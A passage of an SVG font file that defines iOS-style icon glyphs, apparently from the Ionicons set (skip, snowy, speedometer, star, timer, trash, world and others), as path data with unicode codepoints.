d="M298 241l-10 12l62 51h-46c-93 0 -129 -75 -164 -139c-2 -3 -3 -6 -5 -9c-20 -37 -41 -61 -65 -75c-14 -8 -33 -17 -70 -17v16c48 0 83 14 121 84c2 3 3 6 5 9c35 65 75 147 178 147h46l-62 52l10 12l86 -72zM135 228c0 -1 1 -2 1 -3c-3 -5 -6 -11 -9 -16c0 1 -1 1 -1 2
c-2 3 -3 6 -5 9c-38 70 -73 84 -121 84v16c37 0 56 -9 70 -17c24 -14 45 -38 65 -75zM298 143l86 -71l-86 -72l-10 12l62 52h-46c-76 0 -118 45 -149 95c1 2 2 5 3 7c2 3 4 7 6 10c30 -50 67 -96 140 -96h46l-62 51z" />
    <glyph glyph-name="ion-ios-skipbackward-outline" unicode="&#xf4aa;" horiz-adv-x="320" 
d="M0 352h79v-142l241 142v-320l-241 142v-142h-79v320zM80 192l7 -4l217 -128v264v0l-217 -128zM16 336v-288h47v126v8v28v126h-47z" />
    <glyph glyph-name="ion-ios-skipbackward" unicode="&#xf4ab;" horiz-adv-x="320" 
d="M0 352h79v-142l241 142v-320l-241 142v-142h-79v320z" />
    <glyph glyph-name="ion-ios-skipforward-outline" unicode="&#xf4ac;" horiz-adv-x="320" 
d="M241 352h79v-320h-79v142l-241 -142v320l241 -142v142zM233 188l7 4l-7 4l-217 128v0v-264zM304 48v288h-47v-126v-28v-8v-126h47z" />
    <glyph glyph-name="ion-ios-skipforward" unicode="&#xf4ad;" horiz-adv-x="320" 
d="M241 352h79v-320h-79v142l-241 -142v320l241 -142v142z" />
    <glyph glyph-name="ion-ios-snowy" unicode="&#xf4ae;" horiz-adv-x="256" 
d="M252 131c4 -2 5 -7 3 -11s-7 -5 -11 -3l-29 17c-2 -8 -2 -16 0 -24c1 -4 -3 -9 -7 -10s-8 2 -9 6c-2 12 -3 24 1 36l-64 36v-73c11 -3 22 -8 31 -16c3 -3 4 -8 1 -11s-8 -4 -11 -1c-6 5 -13 10 -21 12v-33c0 -4 -4 -8 -8 -8s-8 4 -8 8v33c-8 -2 -15 -7 -21 -12
c-3 -3 -8 -2 -11 1s-3 8 0 11c9 8 20 13 32 16v73l-65 -36c4 -12 4 -23 2 -35c-1 -4 -5 -8 -9 -7s-8 6 -7 10c2 8 2 16 0 24l-29 -17c-4 -2 -9 -1 -11 3s-1 9 3 11l29 16c-6 6 -13 10 -21 13c-4 1 -6 6 -5 10c2 4 6 6 10 5c12 -4 22 -11 30 -19l65 36l-65 37
c-8 -9 -18 -15 -30 -19c-4 -1 -9 0 -10 4s1 10 5 11c8 3 15 6 21 12l-29 16c-4 2 -5 7 -3 11s7 5 11 3l29 -16c2 8 2 15 0 23c-1 4 3 9 7 10s8 -2 9 -6c2 -12 1 -25 -2 -36l65 -36v73c-12 3 -23 8 -32 16c-3 3 -3 8 0 11s8 4 11 1c6 -5 13 -10 21 -12v33c0 4 4 8 8 8
s8 -4 8 -8v-33c8 2 15 7 21 12c3 3 8 2 11 -1s2 -8 -1 -11c-9 -8 -20 -13 -31 -16v-73l64 36c-3 11 -4 24 -2 36c1 4 6 7 10 6s7 -6 6 -10c-2 -8 -1 -15 1 -23l29 16c4 2 9 1 11 -3s1 -9 -3 -11l-29 -16c6 -6 13 -10 21 -13c4 -1 6 -6 5 -10s-6 -6 -10 -5
c-12 4 -23 10 -31 19l-64 -36l64 -36c8 8 19 15 31 19c4 1 9 -1 10 -5s-1 -9 -5 -10c-8 -3 -15 -7 -21 -13z" />
    <glyph glyph-name="ion-ios-speedometer-outline" unicode="&#xf4af;" 
d="M224 384c124 0 224 -100 224 -224c0 -57 -21 -108 -56 -148c-4 -4 -7 -8 -11 -12l-10 10l-1 2c-19 18 -41 33 -65 43c-26 11 -53 16 -81 16s-55 -5 -81 -16c-24 -10 -46 -25 -65 -43l-1 -2l-10 -10c-4 4 -7 8 -11 12c-35 40 -56 91 -56 148c0 124 100 224 224 224z
M416 79c10 23 15 48 16 73h-32v16h32c-1 25 -6 50 -16 73c-9 22 -23 42 -39 60l-27 -27l-6 6l-5 5v0h-1l27 27c-18 17 -38 31 -60 40c-23 10 -48 15 -74 16v-38h-16v38c-25 -1 -49 -6 -72 -16c-22 -10 -43 -23 -61 -40l27 -27v0v0l-6 -6l-5 -5l-27 27
c-16 -18 -30 -38 -39 -60c-10 -23 -15 -49 -16 -74h32v-16h-32c1 -25 6 -49 16 -72c9 -20 20 -39 35 -56c40 40 96 64 157 64s117 -24 157 -64c15 17 26 36 35 56zM336 273l2 -1l-75 -84c6 -8 9 -18 9 -28c0 -26 -22 -48 -48 -48c-10 0 -19 4 -27 9l-13 -12l-11 11l12 12
c-6 8 -9 18 -9 28c0 26 22 48 48 48c10 0 19 -3 27 -8zM224 128c18 0 32 14 32 32s-14 32 -32 32s-32 -14 -32 -32s14 -32 32 -32z" />
    <glyph glyph-name="ion-ios-speedometer" unicode="&#xf4b0;" 
d="M385 169v-15h30c-1 -22 -6 -44 -15 -65c-8 -18 -19 -35 -32 -50c-39 37 -90 58 -144 58s-105 -21 -144 -58c-13 15 -24 32 -32 50c-9 21 -14 43 -15 65h28h1v16h-29c1 23 6 45 15 66c9 20 20 38 35 54l25 -24l10 10l1 1v0v0l-25 25c16 15 36 26 56 35c21 9 43 14 66 15
v-34h14h1v34c23 -1 46 -6 67 -15s39 -20 55 -35l-24 -25l11 -11l25 25c15 -16 26 -35 35 -55c9 -21 14 -43 15 -66h-30v-1zM272 160c0 10 -3 20 -9 28l63 76l-2 1l-73 -65c-8 5 -17 8 -27 8c-26 0 -48 -22 -48 -48c0 -10 3 -20 9 -28l-12 -12l11 -11l13 12c8 -5 17 -9 27 -9
c26 0 48 22 48 48zM224 384c124 0 224 -100 224 -224c0 -57 -21 -108 -56 -148c-4 -4 -7 -8 -11 -12h-23c-32 39 -80 64 -134 64s-102 -25 -134 -64h-23c-4 4 -7 8 -11 12c-35 40 -56 91 -56 148c0 124 100 224 224 224zM379 27c34 37 52 86 52 136c0 55 -22 106 -61 145
s-91 60 -146 60s-107 -21 -146 -60s-61 -90 -61 -145c0 -50 18 -99 52 -136l10 -10l1 -1v1l9 9l1 1v0c17 17 38 30 60 39c24 10 48 15 74 15s50 -5 74 -15c22 -9 43 -22 60 -39v0l1 -1l9 -9v-1l1 1zM192 160c0 21 11 32 32 32s32 -11 32 -32s-11 -32 -32 -32s-32 11 -32 32z
" />
    <glyph glyph-name="ion-ios-star-half" unicode="&#xf4b1;" 
d="M140 143l-140 98h171l53 159l53 -159h171l-140 -98l54 -159l-138 99l-138 -99zM224 347v-244l107 -76l-43 122l108 75h-131z" />
    <glyph glyph-name="ion-ios-star-outline" unicode="&#xf4b2;" 
d="M448 241l-140 -98l54 -159l-138 99l-138 -99l54 159l-140 98h171l53 159l53 -159h171zM331 27l-43 122l108 75h-131l-41 123l-41 -123h-131l108 -75l-43 -122l107 76z" />
    <glyph glyph-name="ion-ios-star" unicode="&#xf4b3;" 
d="M448 241l-140 -98l54 -159l-138 99l-138 -99l54 159l-140 98h171l53 159l53 -159h171z" />
    <glyph glyph-name="ion-ios-stopwatch-outline" unicode="&#xf4b4;" horiz-adv-x="384" 
d="M334 301c32 -35 50 -80 50 -128c0 -104 -86 -189 -192 -189s-192 85 -192 189c0 48 18 94 51 129l1 1h-18l-8 -8l-23 23l41 40l23 -22l-9 -9v-18c31 30 72 50 116 53h2v38h32v-38c43 -4 82 -21 113 -49l5 -5v19l-9 9l23 22l41 -40l-22 -23l-9 8h-18zM192 2
c96 0 173 77 173 171s-77 171 -173 171c-95 0 -173 -77 -173 -171s77 -171 173 -171zM200 191c14 -4 24 -17 24 -31c0 -15 -10 -26 -24 -30l-8 -18v0l-8 18c-14 4 -24 15 -24 30c0 14 12 27 24 31v129h16v-129z" />
    <glyph glyph-name="ion-ios-stopwatch" unicode="&#xf4b5;" horiz-adv-x="384" 
d="M334 301c32 -35 50 -80 50 -128c0 -104 -86 -189 -192 -189s-192 85 -192 189c0 48 18 94 51 129l1 1h-18l-8 -8l-23 23l41 40l23 -22l-9 -9v-18c31 30 72 50 116 53h2v38h32v-38c43 -4 82 -21 113 -49l5 -5v19l-9 9l23 22l41 -40l-22 -23l-9 8h-18zM200 130
c14 4 24 15 24 30c0 14 -10 27 -24 31v129h-16v-129c-12 -4 -24 -17 -24 -31c0 -15 10 -26 24 -30l8 -18z" />
    <glyph glyph-name="ion-ios-sunny-outline" unicode="&#xf4b6;" horiz-adv-x="320" 
d="M151 296v56h18v-56h-18zM151 32v60h18v-60h-18zM264 183v18h56v-18h-56zM0 183v18h60v-18h-60zM240 130l34 -34l-12 -12l-33 34zM64 306l34 -33l-12 -12l-34 34zM229 272l33 34l12 -12l-34 -33zM52 96l34 34l11 -12l-33 -34zM160 116c-42 0 -76 34 -76 76s34 76 76 76
s76 -34 76 -76s-34 -76 -76 -76zM160 251c-32 0 -59 -27 -59 -59s27 -59 59 -59s59 27 59 59s-27 59 -59 59z" />
    <glyph glyph-name="ion-ios-sunny" unicode="&#xf4b7;" horiz-adv-x="320" 
d="M151 296v56h18v-56h-18zM151 32v60h18v-60h-18zM264 183v18h56v-18h-56zM0 183v18h60v-18h-60zM240 130l34 -34l-12 -12l-33 34zM64 306l34 -33l-12 -12l-34 34zM229 272l33 34l12 -12l-34 -33zM52 96l34 34l11 -12l-33 -34zM160 116c-42 0 -76 34 -76 76s34 76 76 76
s76 -34 76 -76s-34 -76 -76 -76z" />
    <glyph glyph-name="ion-ios-telephone-outline" unicode="&#xf4b8;" horiz-adv-x="352" 
d="M336 112c16 -16 26 -35 0 -66c-25 -30 -42 -30 -64 -30c-24 0 -58 14 -93 40c-32 23 -46 34 -78 67c-34 35 -55 64 -79 107c-27 50 -24 74 -18 92c4 12 14 24 28 33l1 1c6 4 18 12 32 12c13 0 24 -6 34 -18l1 -1c11 -14 24 -31 32 -47c10 -21 10 -38 -1 -53
c-9 -12 -12 -19 -12 -23s5 -9 13 -18l1 -1c16 -18 20 -23 26 -29c1 -1 3 -2 4 -3l2 -2c7 -7 11 -12 29 -28l1 -1c7 -6 9 -8 12 -8c5 0 16 7 29 15c4 3 11 5 17 5c27 0 68 -29 83 -44zM324 57c19 22 13 31 1 43c-13 14 -50 39 -72 39c-3 0 -6 -1 -8 -2
c-19 -12 -28 -18 -37 -18s-15 6 -23 13h-1c-19 16 -23 21 -30 29l-2 2c-1 1 -3 2 -4 3c-6 6 -11 12 -27 30v1c-10 11 -17 18 -18 28s5 20 16 34c15 20 -5 48 -31 79l-1 1c-7 8 -14 12 -22 12c-10 0 -18 -6 -23 -9c-1 0 -2 -1 -2 -1c-11 -7 -18 -16 -21 -24
c-5 -16 -7 -35 17 -79c23 -42 43 -70 76 -104c31 -32 45 -42 76 -64c32 -23 64 -38 84 -38c21 0 32 1 52 25z" />
    <glyph glyph-name="ion-ios-telephone" unicode="&#xf4b9;" horiz-adv-x="352" 
d="M336 112c16 -16 26 -35 0 -66c-25 -30 -42 -30 -64 -30c-24 0 -58 14 -93 40c-32 23 -46 34 -78 67c-34 35 -55 64 -79 107c-27 50 -24 74 -18 92c4 12 14 24 28 33l1 1c6 4 18 12 32 12c13 0 24 -6 34 -18l1 -1c11 -14 24 -31 32 -47c10 -21 10 -38 -1 -53
c-9 -12 -12 -19 -12 -23s5 -9 13 -18l1 -1c16 -18 20 -23 26 -29c1 -1 3 -2 4 -3l2 -2c7 -7 11 -12 29 -28l1 -1c7 -6 9 -8 12 -8c5 0 16 7 29 15c4 3 11 5 17 5c27 0 68 -29 83 -44z" />
    <glyph glyph-name="ion-ios-tennisball-outline" unicode="&#xf4ba;" horiz-adv-x="416" 
d="M416 192v-8v0c0 -5 0 -11 -1 -16v0c-11 -97 -90 -174 -187 -183v0h-4h-2s-1 -1 -2 -1h-3h-1h-8c-115 0 -208 93 -208 208s93 208 208 208s208 -93 208 -208zM399 192c0 105 -86 191 -191 191c-3 0 -5 -1 -8 -1c1 -24 6 -46 15 -68c10 -26 26 -49 46 -69s43 -36 69 -46
c22 -9 44 -14 68 -15c0 3 1 5 1 8zM17 192c0 -105 86 -191 191 -191h4c-1 22 -7 45 -15 66c-10 26 -26 48 -46 68s-42 36 -68 46c-21 8 -44 14 -66 15v-4zM228 2c88 9 158 78 169 166c-54 3 -106 25 -147 66s-63 93 -66 147c-88 -11 -157 -81 -166 -169
c53 -3 105 -25 145 -65s62 -92 65 -145z" />
    <glyph glyph-name="ion-ios-tennisball" unicode="&#xf4bb;" horiz-adv-x="416" 
d="M0 196v0v0v0zM212 -16h1h-1v0zM208 400c115 0 208 -93 208 -208c0 -8 0 -16 -1 -24v0v0c-11 -97 -90 -174 -187 -183v0v0c-6 -1 -13 -1 -20 -1c-115 0 -208 93 -208 208v4v0v0c0 6 0 11 1 16v0v0c9 97 86 176 183 187v0v0c6 1 11 1 16 1v0v0h8zM83 181
c26 -10 48 -26 68 -46s36 -42 46 -68c8 -21 14 -44 15 -66c5 0 11 0 16 1c-3 53 -25 105 -65 145s-92 62 -145 65c-1 -5 -1 -11 -1 -16c22 -1 45 -7 66 -15zM250 234c41 -41 93 -63 147 -66c1 5 1 11 1 16c-24 1 -46 6 -68 15c-26 10 -49 26 -69 46s-36 43 -46 69
c-9 22 -14 44 -15 68c-5 0 -11 0 -16 -1c3 -54 25 -106 66 -147z" />
    <glyph glyph-name="ion-ios-thunderstorm-outline" unicode="&#xf4bc;" horiz-adv-x="274" 
d="M193 176l-88 -128l29 96h-52l15 80h72l-16 -48h40zM209 275c36 0 65 -29 65 -65s-29 -66 -65 -66h-8v17h8c27 0 49 22 49 49s-22 50 -49 50h-6l-14 -2l-3 14c-3 14 -11 26 -22 35s-25 13 -39 13c-34 0 -63 -27 -63 -62v-12s1 -9 1 -9c-5 0 -12 -2 -14 -2
c-19 -3 -33 -18 -33 -37c0 -10 3 -19 10 -26s16 -11 26 -11h11v-17h-11c-28 0 -52 24 -52 53c0 27 21 51 47 53v8c0 43 35 78 78 78c37 0 68 -26 76 -61h8z" />
    <glyph glyph-name="ion-ios-thunderstorm" unicode="&#xf4bd;" horiz-adv-x="274" 
d="M153 176h40l-22 -32l-66 -96l29 96h-52l15 80h72zM84 240h107l-16 -48h18h30l-33 -48h19c36 0 65 30 65 66s-29 65 -65 65h-8c-8 35 -39 61 -76 61c-43 0 -78 -35 -78 -78v-8c-26 -2 -47 -26 -47 -53c0 -29 24 -53 52 -53h14z" />
    <glyph glyph-name="ion-ios-time-outline" unicode="&#xf4be;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM371 45c19 19 35 41 45 66c11 26 16 53 16 81s-5 55 -16 81c-10 25 -26 47 -45 66s-41 35 -66 45c-26 11 -53 16 -81 16s-55 -5 -81 -16c-25 -10 -47 -26 -66 -45
s-35 -41 -45 -66c-11 -26 -16 -53 -16 -81s5 -55 16 -81c10 -25 26 -47 45 -66s41 -35 66 -45c26 -11 53 -16 81 -16s55 5 81 16c25 10 47 26 66 45zM216 368c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM216 16c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM392 192
c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM40 192c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM128 344c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM304 40c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM368 280c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8
zM64 104c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM64 280c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM368 104c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM304 344c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8s-8 3 -8 8zM128 40c0 5 3 8 8 8s8 -3 8 -8s-3 -8 -8 -8
s-8 3 -8 8zM238 200c4 -8 2 -18 -6 -22v-122c0 -4 -4 -8 -8 -8s-8 4 -8 8v122c-2 1 -4 4 -6 6c-3 5 -3 11 0 16l-37 63c-2 4 -1 9 3 11s8 1 10 -3l38 -63c5 0 11 -3 14 -8z" />
    <glyph glyph-name="ion-ios-time" unicode="&#xf4bf;" 
d="M224 416c124 0 224 -100 224 -224s-100 -224 -224 -224s-224 100 -224 224s100 224 224 224zM224 376c-4 0 -8 -4 -8 -8s4 -8 8 -8s8 4 8 8s-4 8 -8 8zM48 184c4 0 8 4 8 8s-4 8 -8 8s-8 -4 -8 -8s4 -8 8 -8zM76 97c4 2 4 7 2 11s-6 5 -10 3s-5 -7 -3 -11s7 -5 11 -3z
M78 276c2 4 2 9 -2 11s-9 1 -11 -3s-1 -9 3 -11s8 -1 10 3zM132 351c-4 -2 -5 -7 -3 -11s7 -4 11 -2s5 6 3 10s-7 5 -11 3zM143 36c2 4 1 8 -3 10s-9 2 -11 -2s-1 -9 3 -11s9 -1 11 3zM224 8c4 0 8 4 8 8s-4 8 -8 8s-8 -4 -8 -8s4 -8 8 -8zM232 178c8 4 10 14 6 22
c-3 5 -9 8 -14 8l-38 64c-2 4 -7 4 -11 2s-4 -7 -2 -11l37 -63c-3 -5 -3 -11 0 -16c2 -2 4 -5 6 -6v-122c0 -4 4 -8 8 -8s8 4 8 8v122zM316 33c4 2 5 7 3 11s-7 4 -11 2s-5 -6 -3 -10s7 -5 11 -3zM319 340c2 4 1 9 -3 11s-9 1 -11 -3s-1 -8 3 -10s9 -2 11 2zM383 100
c2 4 1 9 -3 11s-8 1 -10 -3s-2 -9 2 -11s9 -1 11 3zM380 273c4 2 5 7 3 11s-7 5 -11 3s-4 -7 -2 -11s6 -5 10 -3zM400 184c4 0 8 4 8 8s-4 8 -8 8s-8 -4 -8 -8s4 -8 8 -8z" />
    <glyph glyph-name="ion-ios-timer-outline" unicode="&#xf4c0;" horiz-adv-x="416" 
d="M189 176l-1 2s-89 118 -86 120s121 -85 121 -85c1 -1 1 -2 2 -3c5 -5 8 -11 8 -18c0 -14 -11 -25 -25 -25c-8 0 -14 3 -19 9zM208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208c0 57 23 109 61 147l12 -12c-35 -35 -56 -82 -56 -135
c0 -106 85 -191 191 -191s191 85 191 191c0 100 -77 183 -175 191v-95h-16v112v0v0z" />
    <glyph glyph-name="ion-ios-timer" unicode="&#xf4c1;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208s-208 93 -208 208s93 208 208 208zM102 298c-2 -2 86 -120 86 -120l1 -1c5 -6 11 -10 19 -10c14 0 25 11 25 25c0 7 -3 13 -8 18l-3 3c0 0 -117 87 -120 85zM208 1c106 0 192 85 192 191s-86 192 -192 192v-96h16v78
c88 -9 158 -84 158 -174c0 -96 -78 -174 -174 -174s-175 78 -175 174c0 48 19 92 51 124l-11 12c-35 -35 -56 -83 -56 -136c0 -106 85 -191 191 -191z" />
    <glyph glyph-name="ion-ios-toggle-outline" unicode="&#xf4c2;" 
d="M96 128c-26 0 -48 -22 -48 -48s22 -48 48 -48s48 22 48 48s-22 48 -48 48zM96 144v0c35 0 64 -29 64 -64s-29 -64 -64 -64s-64 29 -64 64s29 64 64 64zM351 160v0h-255c-44 0 -80 -36 -80 -80s36 -80 80 -80h256c44 0 80 36 80 80s-37 80 -81 80zM352 176v0
c53 0 96 -43 96 -96s-43 -96 -96 -96h-256c-53 0 -96 43 -96 96s43 96 96 96h256zM352 352c-26 0 -48 -22 -48 -48s22 -48 48 -48s48 22 48 48s-22 48 -48 48zM352 368v0c35 0 64 -29 64 -64s-29 -64 -64 -64s-64 29 -64 64s29 64 64 64zM97 384v0c-44 0 -81 -36 -81 -80
s36 -80 80 -80h256c44 0 80 36 80 80s-36 80 -80 80h-255zM96 400v0h256c53 0 96 -43 96 -96s-43 -96 -96 -96h-256c-53 0 -96 43 -96 96s43 96 96 96z" />
    <glyph glyph-name="ion-ios-toggle" unicode="&#xf4c3;" 
d="M96 128c26 0 48 -22 48 -48s-22 -48 -48 -48s-48 22 -48 48s22 48 48 48zM352 176c53 0 96 -43 96 -96s-43 -96 -96 -96h-256c-53 0 -96 43 -96 96s43 96 96 96h256zM96 16c35 0 64 29 64 64s-29 64 -64 64s-64 -29 -64 -64s29 -64 64 -64zM352 256c-26 0 -48 22 -48 48
s22 48 48 48s48 -22 48 -48s-22 -48 -48 -48zM96 208c-53 0 -96 43 -96 96s43 96 96 96h256c53 0 96 -43 96 -96s-43 -96 -96 -96h-256zM352 368c-35 0 -64 -29 -64 -64s29 -64 64 -64s64 29 64 64s-29 64 -64 64z" />
    <glyph glyph-name="ion-ios-trash-outline" unicode="&#xf4c4;" horiz-adv-x="288" 
d="M288 335v-15h-20l-24 -291c0 -16 -13 -29 -29 -29h-141c-16 0 -29 13 -29 29l-24 291h-21v15h80v20c0 16 13 29 29 29h70c16 0 29 -13 29 -29v-20h80zM95 355v-20h98v20c0 8 -6 14 -14 14h-70c-8 0 -14 -6 -14 -14zM230 30l23 290h-217l23 -290v0v-1c0 -8 7 -14 15 -14
h141c8 0 15 6 15 14v1v0zM137 47v241h14v-241h-14zM208 288l-11 -241h-14l10 241h15zM94 288l11 -241h-14l-11 241h14z" />
    <glyph glyph-name="ion-ios-trash" unicode="&#xf4c5;" horiz-adv-x="288" 
d="M208 335h80v-15h-20l-24 -291c0 -16 -13 -29 -29 -29h-141c-16 0 -29 13 -29 29l-24 291h-21v15h80v20c0 16 13 29 29 29h70c16 0 29 -13 29 -29v-20zM95 355v0v-20h98v20c0 8 -6 14 -14 14h-70c-8 0 -14 -6 -14 -14zM91 47h14l-11 241h-14zM151 47v241h-14v-241h14z
M197 47l11 241h-14l-11 -241h14z" />
    <glyph glyph-name="ion-ios-undo-outline" unicode="&#xf4c6;" horiz-adv-x="384" 
d="M384 80v-32h-10l-20 31c-20 33 -44 63 -75 77c-24 11 -47 19 -87 20v-80l-192 128l192 128v-80c63 -3 108 -21 143 -56c52 -53 49 -119 49 -136zM368 87c0 0 9 169 -192 169v65l-148 -97l148 -97v65c91 0 144 -24 192 -105z" />
    <glyph glyph-name="ion-ios-undo" unicode="&#xf4c7;" horiz-adv-x="384" 
d="M384 80v-32h-10l-20 31c-20 33 -44 63 -75 77c-24 11 -47 19 -87 20v-80l-192 128l192 128v-80c63 -3 108 -21 143 -56c52 -53 49 -119 49 -136z" />
    <glyph glyph-name="ion-ios-unlocked-outline" unicode="&#xf4c8;" horiz-adv-x="320" 
d="M160 160c18 0 32 -14 32 -32c0 -15 -10 -27 -24 -31v-33h-16v33c-14 4 -24 16 -24 31c0 18 14 32 32 32zM160 112c9 0 16 7 16 16s-7 16 -16 16s-16 -7 -16 -16s7 -16 16 -16zM72 224h248v-240h-320v240h56v72c0 57 47 104 104 104s104 -47 104 -104v-8h-16v8
c0 49 -39 88 -88 88s-88 -39 -88 -88v-72zM304 0v208h-288v-208h288z" />
    <glyph glyph-name="ion-ios-unlocked" unicode="&#xf4c9;" horiz-adv-x="320" 
d="M160 144c9 0 16 -7 16 -16s-7 -16 -16 -16s-16 7 -16 16s7 16 16 16zM72 224h248v-240h-320v240h56v72c0 57 47 104 104 104s104 -47 104 -104v-8h-16v8c0 49 -39 88 -88 88s-88 -39 -88 -88v-72zM168 97c14 4 24 16 24 31c0 18 -14 32 -32 32s-32 -14 -32 -32
c0 -15 10 -27 24 -31v-33h16v33z" />
    <glyph glyph-name="ion-ios-upload-outline" unicode="&#xf4ca;" horiz-adv-x="320" 
d="M192 304h128v-304h-320v304h128v-16h-112v-272h288v272h-112v16zM97 330l-11 12l74 74l74 -74l-11 -12l-55 55v-243h-16v243z" />
    <glyph glyph-name="ion-ios-upload" unicode="&#xf4cb;" horiz-adv-x="320" 
d="M168 304h152v-304h-320v304h152v-162h16v162zM168 385v-81h-16v81l-55 -55l-11 12l74 74l74 -74l-11 -12z" />
    <glyph glyph-name="ion-ios-videocam-outline" unicode="&#xf4cc;" horiz-adv-x="418" 
d="M257 320c19 0 33 -14 33 -33v-188c0 -19 -14 -35 -33 -35h-221c-19 0 -36 16 -36 35v188c0 19 17 33 36 33h221zM273 99v188c0 9 -8 16 -17 16h-221c-9 0 -18 -7 -18 -16v-188c0 -9 10 -18 19 -18h221c9 0 16 9 16 18zM320 235l98 53v-192l-98 53v86zM401 258v0l-64 -33
v-66l64 -33v132z" />
    <glyph glyph-name="ion-ios-videocam" unicode="&#xf4cd;" horiz-adv-x="418" 
d="M257 320c19 0 33 -14 33 -33v-188c0 -19 -14 -35 -33 -35h-221c-19 0 -36 16 -36 35v188c0 19 17 33 36 33h221zM320 235l98 53v-192l-98 53v86z" />
    <glyph glyph-name="ion-ios-volume-high" unicode="&#xf4ce;" horiz-adv-x="320" 
d="M278 320c26 -36 42 -80 42 -128s-16 -92 -42 -128l-14 10c24 33 39 74 39 118s-15 85 -39 118zM224 96l-14 10c18 24 29 54 29 86s-11 62 -29 86l14 10c20 -27 32 -60 32 -96s-12 -69 -32 -96zM177 128l-13 10c12 15 18 34 18 54s-6 39 -18 54l13 10
c14 -18 22 -40 22 -64s-8 -46 -22 -64zM58 232l70 56v-192l-70 56h-58v80h58z" />
    <glyph glyph-name="ion-ios-volume-low" unicode="&#xf4cf;" horiz-adv-x="128" 
d="M58 232l70 56v-192l-70 56h-58v80h58z" />
    <glyph glyph-name="ion-ios-wineglass-outline" unicode="&#xf4d0;" horiz-adv-x="192" 
d="M104 139v-155h72v-16h-80h-80v16h72v155c0 22 -20 39 -40 55c-8 6 -16 13 -22 19c-27 28 -26 52 -26 71v4c0 44 31 125 32 128h64h64c1 -3 32 -84 32 -128v-4c0 -19 1 -43 -26 -71c-6 -6 -14 -13 -22 -19c-20 -16 -40 -33 -40 -55zM43 400c-5 -16 -20 -63 -25 -96h156
c-5 33 -20 80 -25 96h-53h-53zM96 175c3 0 5 0 7 2v0c9 11 20 20 31 29c8 6 15 12 20 18c22 23 22 41 22 60v4h-160v-4c0 -19 0 -37 22 -60c5 -6 12 -12 20 -18c11 -9 22 -18 31 -29v0c2 -2 4 -2 7 -2z" />
    <glyph glyph-name="ion-ios-wineglass" unicode="&#xf4d1;" horiz-adv-x="192" 
d="M104 139v-155h72v-16h-80h-80v16h72v155c0 22 -20 39 -40 55c-8 6 -16 13 -22 19c-27 28 -26 52 -26 71v4c0 44 31 125 32 128h64h64c1 -3 32 -84 32 -128v-4c0 -19 1 -43 -26 -71c-6 -6 -14 -13 -22 -19c-20 -16 -40 -33 -40 -55zM43 400c-5 -16 -20 -63 -25 -96h156
c-5 33 -20 80 -25 96h-53h-53z" />
    <glyph glyph-name="ion-ios-world-outline" unicode="&#xf4d2;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208v0v0v0c-115 0 -208 93 -208 208s93 208 208 208v0v0v0zM216 276v-76h75c-1 31 -5 60 -11 84c-21 -5 -42 -7 -64 -8zM216 292c20 1 41 3 60 8c-14 46 -38 76 -60 82v-90zM200 382c-23 -6 -45 -36 -60 -82
c19 -5 39 -7 60 -8v90zM200 276c-22 1 -44 3 -65 8c-6 -24 -10 -53 -11 -84h76v76zM108 200c1 32 4 62 11 88c-21 6 -41 15 -59 25c-26 -31 -41 -70 -43 -113h91zM108 184h-91c2 -43 17 -82 43 -113c19 10 38 19 59 25c-7 26 -10 56 -11 88zM124 184c1 -31 5 -60 11 -84
c21 5 43 8 65 9v75h-76zM200 92c-21 -1 -41 -3 -60 -8c15 -46 37 -76 60 -82v90zM216 2c22 6 46 36 60 82c-19 5 -40 7 -60 8v-90zM216 109c22 -1 43 -4 64 -9c6 24 10 53 11 84h-75v-75zM308 184c-1 -32 -5 -62 -12 -88c21 -6 41 -15 60 -25c26 31 41 70 43 113h-91z
M308 200v0h91c-2 43 -17 82 -43 113c-19 -10 -38 -19 -59 -25c7 -26 10 -56 11 -88zM344 326c-25 25 -56 44 -91 52c16 -17 29 -43 39 -74c18 6 35 13 52 22zM163 378c-35 -8 -67 -27 -91 -52c16 -9 34 -15 52 -21c10 31 23 56 39 73zM72 58c25 -25 56 -44 91 -52
c-16 17 -30 43 -40 74c-18 -6 -35 -13 -51 -22zM253 6c35 8 66 27 91 52c-17 9 -34 16 -52 22c-10 -31 -23 -57 -39 -74z" />
    <glyph glyph-name="ion-ios-world" unicode="&#xf4d3;" horiz-adv-x="416" 
d="M208 400c115 0 208 -93 208 -208s-93 -208 -208 -208v0v0v0c-115 0 -208 93 -208 208s93 208 208 208v0v0v0zM208 1c106 0 191 85 191 191s-85 191 -191 191v0v0v0c-106 0 -191 -85 -191 -191s86 -191 191 -191v0v0v0zM274 276c6 -22 9 -48 10 -76h-68v68c20 1 39 4 58 8
zM216 366c20 -6 41 -34 54 -75c-17 -4 -36 -6 -54 -7v82zM145 291c13 42 35 69 55 75v-82c-19 1 -37 3 -55 7zM333 315c-15 -8 -31 -15 -48 -20c-9 29 -21 52 -36 67c32 -8 61 -24 84 -47zM299 200c-1 29 -4 56 -10 80c19 6 37 14 54 23c23 -28 38 -64 40 -103h-84zM132 200
c1 28 3 54 9 76c19 -5 39 -7 59 -8v-68h-68zM284 184c-1 -28 -4 -54 -10 -76c-19 5 -38 7 -58 8v68h68zM141 108c-6 22 -8 48 -9 76h68v-68c-20 -1 -40 -3 -59 -8zM200 18c-20 6 -42 33 -55 75c18 4 36 6 55 7v-82zM249 22c15 15 27 38 36 67c17 -5 33 -11 48 -19
